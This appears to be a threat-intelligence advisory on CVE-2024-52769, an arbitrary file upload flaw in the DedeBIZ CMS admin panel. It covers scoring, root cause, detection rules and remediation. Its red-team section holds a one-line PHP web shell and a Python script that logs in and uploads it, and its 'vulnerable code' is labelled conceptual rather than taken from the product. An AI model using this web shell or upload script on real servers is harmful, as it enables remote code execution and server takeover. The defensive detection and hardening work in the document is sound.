CVE-2024-52769

Executive Summary

CVE-2024-52769 is an arbitrary file upload vulnerability in DedeBIZ v6.3.0, specifically within the /admin/friendlink_edit component. This flaw allows an authenticated attacker to upload a crafted file (e.g., a web shell) to the server, leading to remote code execution (RCE). The vulnerability is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type) and is mapped to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). With a CVSS v3.1 base score of 8.8 (High), the impact on confidentiality, integrity, and availability is severe. No official patch has been released, and the vendor status remains unknown. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Note: This vulnerability is not related to any NPM, PyPI, Go, or Ruby package; it is a standalone PHP application (DedeBIZ CMS). Therefore, no supply chain package security section is included.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs valid admin credentials.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full system compromise possible.
• Integrity (I): High – Attacker can modify files and data.
• Availability (A): High – Attacker can disrupt services.

Threat Level: Critical. The combination of low attack complexity, network exploitability, and high impact makes this a prime target for attackers. The lack of a patch and public PoC further elevates the risk.

Deep Dive & Mechanics

The vulnerability resides in the /admin/friendlink_edit endpoint of DedeBIZ v6.3.0. This component is used to manage friend links (external website links) in the admin panel. The flaw occurs because the application does not properly validate the file type or content of uploaded files. An authenticated admin user can upload a file (e.g., a PHP web shell) through the friend link edit form. The file is stored in a web-accessible directory (typically /uploads/ or similar), and the attacker can then access it directly via a web browser, triggering code execution.

Root Cause: The friendlink_edit function likely uses a generic file upload handler that only checks for file existence or size but not the file extension or MIME type. This allows uploading of .php, .phtml, .php5, or other executable extensions.

Attack Flow:

1. Attacker logs into the DedeBIZ admin panel with valid credentials.
2. Navigates to /admin/friendlink_edit.
3. Uploads a malicious PHP file (e.g., shell.php) containing a web shell payload.
4. The file is saved to the server (e.g., /uploads/shell.php).
5. Attacker accesses the uploaded file via HTTP (e.g., http://target.com/uploads/shell.php).
6. The PHP code executes, granting the attacker remote control over the server.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be in the file upload handling logic of friendlink_edit. A typical vulnerable PHP snippet might look like:

// Vulnerable code (conceptual)
if (isset($_FILES['friendlink_logo'])) {
    $upload_dir = '/uploads/';
    $file = $upload_dir . basename($_FILES['friendlink_logo']['name']);
    move_uploaded_file($_FILES['friendlink_logo']['tmp_name'], $file);
}

A patched version would include validation:

// Patched code (conceptual)
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$file_extension = strtolower(pathinfo($_FILES['friendlink_logo']['name'], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
    die('Invalid file type.');
}
// Also check MIME type and use a secure directory outside web root

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Valid admin credentials for DedeBIZ v6.3.0.
• Network access to the target admin panel.

Exploit Steps:

1. Log in to the admin panel.
2. Craft a PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

3. Navigate to /admin/friendlink_edit and upload the file.
4. Access the uploaded file: http://target.com/uploads/shell.php?cmd=id
5. Execute arbitrary commands.

Automated Exploit (Python):

import requests

target = "http://target.com"
admin_user = "admin"
admin_pass = "password"

session = requests.Session()
login_data = {"userid": admin_user, "pwd": admin_pass}
session.post(f"{target}/admin/login.php", data=login_data)

files = {"friendlink_logo": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php")}
response = session.post(f"{target}/admin/friendlink_edit.php", files=files)
print("Uploaded to: " + target + "/uploads/shell.php")

Blue Team (Defensive)

Detection:

• Monitor for file uploads with suspicious extensions (.php, .phtml, .php5, .asp, .aspx, .jsp).
• Alert on access to /admin/friendlink_edit followed by a file upload.
• Look for web shell activity (e.g., cmd= in GET parameters).

Mitigation:

• Restrict file uploads to only image types (JPG, PNG, GIF) with MIME validation.
• Store uploaded files outside the web root and serve them via a script that enforces content-type.
• Implement a Web Application Firewall (WAF) rule to block uploads of executable files.
• Disable PHP execution in upload directories via .htaccess:

  <FilesMatch "\.php$">
      Deny from all
  </FilesMatch>
  

Indicators of Compromise (IOCs)

• File Artifacts:
  • Suspicious files in /uploads/ or /data/ directories with .php, .phtml, .php5 extensions.
  • Files named shell.php, cmd.php, webshell.php, or similar.
• Network Indicators:
  • HTTP POST requests to /admin/friendlink_edit with multipart/form-data containing a file.
  • HTTP GET requests to /uploads/*.php with query parameters like cmd, exec, command.
• Log Entries:
  • Apache/Nginx access logs showing POST /admin/friendlink_edit followed by GET /uploads/*.php.
  • PHP error logs indicating file upload failures or warnings.

Detection Engineering

YARA Rule

rule CVE_2024_52769_Webshell_Upload {
    meta:
        description = "Detects PHP web shells uploaded via DedeBIZ friendlink_edit vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52769"
    strings:
        $php_tag = "<?php"
        $system_func = /system\s*\(/
        $shell_func = /shell_exec\s*\(/
        $cmd_param = "cmd="
    condition:
        $php_tag and ($system_func or $shell_func or $cmd_param)
}

Sigma Rule

title: DedeBIZ Friendlink Edit Arbitrary File Upload
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects attempts to exploit CVE-2024-52769 by uploading a PHP file to /admin/friendlink_edit
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /admin/friendlink_edit.php
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin file uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52769 DedeBIZ Friendlink Edit File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/friendlink_edit.php"; http_uri; content:"filename="; http_client_body; pcre:"/\.(php|phtml|php5)\b/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the friendlink_edit functionality if not required, or restrict access via IP whitelisting.
2. Apply a virtual patch using a WAF to block file uploads with executable extensions.
3. Review and harden file upload handling in the application code (see patched code example).
4. Monitor logs for signs of exploitation and rotate credentials if compromise is suspected.

Long-Term Fix:

• The vendor (Dedebiz) must release an official patch that validates file types, renames uploaded files, and stores them outside the web root.
• Until a patch is available, consider migrating to a supported CMS or applying manual code fixes.

Workaround:

• Add the following .htaccess rule in the uploads directory to disable PHP execution:

  <FilesMatch "\.php$">
      Deny from all
  </FilesMatch>
  

Valters IT
DevSecOps & Cyber Threat Intelligence